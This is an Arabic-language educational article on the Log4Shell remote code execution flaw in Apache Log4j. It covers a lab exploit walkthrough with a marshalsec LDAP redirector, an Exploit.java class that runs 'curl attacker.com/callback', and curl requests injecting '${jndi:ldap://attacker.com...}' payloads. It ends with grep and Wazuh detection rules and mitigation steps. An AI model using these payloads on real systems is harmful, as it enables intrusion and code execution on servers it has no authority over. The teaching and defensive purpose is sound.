⚠️ تنبيه: هذا المقال لأغراض تعليمية بحتة. اختبر فقط على أنظمة مرخصة.

نظرة عامة

نوع الثغرة: Remote Code Execution (RCE) عبر JNDI Injection التأثير: Critical (CVSS 10.0) الأنظمة المتأثرة: Apache Log4j 2.0-beta9 to 2.14.1


كيف تعمل الثغرة؟

فهم JNDI

JNDI (Java Naming and Directory Interface) هي واجهة Java للتواصل مع خدمات الدليل مثل LDAP.

المشكلة: Log4j كان يفسّر الـ input ويستدعي موارد خارجية:

User-Agent: ${jndi:ldap://attacker.com/exploit}

عند تسجيل هذه القيمة، تقوم Log4j بـ:

  1. رؤية ${jndi:...}
  2. الاتصال بـ LDAP server الخاص بالمهاجم
  3. تنزيل وتشغيل Java class ضار!

الاستغلال (Lab Environment)

إعداد بيئة الاختبار

# تثبيت بيئة ضعيفة للتدريب
docker pull ghcr.io/christophetd/log4shell-vulnerable-app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

إعداد LDAP Server للاختبار

# استخدام marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

# تشغيل LDAP redirector
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
     marshalsec.jndi.LDAPRefServer "http://attacker-ip:8888/#Exploit"

إنشاء Java Payload

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("curl attacker.com/callback");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
# تجميع وتقديم الـ Payload
javac Exploit.java
python3 -m http.server 8888

إرسال الـ Payload

# اختبار عبر X-Api-Version header
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/exploit}' \
     http://target:8080/

# أو عبر User-Agent
curl -A '${jndi:ldap://attacker.com:1389/exploit}' \
     http://target:8080/

الكشف والرصد (Detection)

البحث في الـ Logs

# البحث عن محاولات الاستغلال
grep -E '\$\{jndi:(ldap|rmi|dns|corba)://' /var/log/app/*.log

# Regex أكثر شمولاً
grep -iE '\$\{[^\}]*j[^\}]*n[^\}]*d[^\}]*i[^\}]*:' /var/log/*.log

Wazuh / SIEM Rule

<rule id="100001" level="15">
    <match>jndi:</match>
    <description>Possible Log4Shell exploitation attempt</description>
    <group>log4shell,exploit</group>
</rule>

الإصلاح والتخفيف (Mitigation)

# الحل الفوري — تعطيل JNDI Lookup
java -Dlog4j2.formatMsgNoLookups=true -jar application.jar

# الحل الدائم — تحديث Log4j
# في Maven:
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>  <!-- أو أحدث -->
</dependency>

الدروس المستفادة

  1. لا تثق أبداً في المدخلات الخارجية — Log processing لا يعني أمان
  2. JNDI خطير في البيئات التي تقبل input مستخدم
  3. Asset inventory ضروري لمعرفة أين تستخدم Log4j
  4. Virtual Patching (WAF rules) مهم للاستجابة السريعة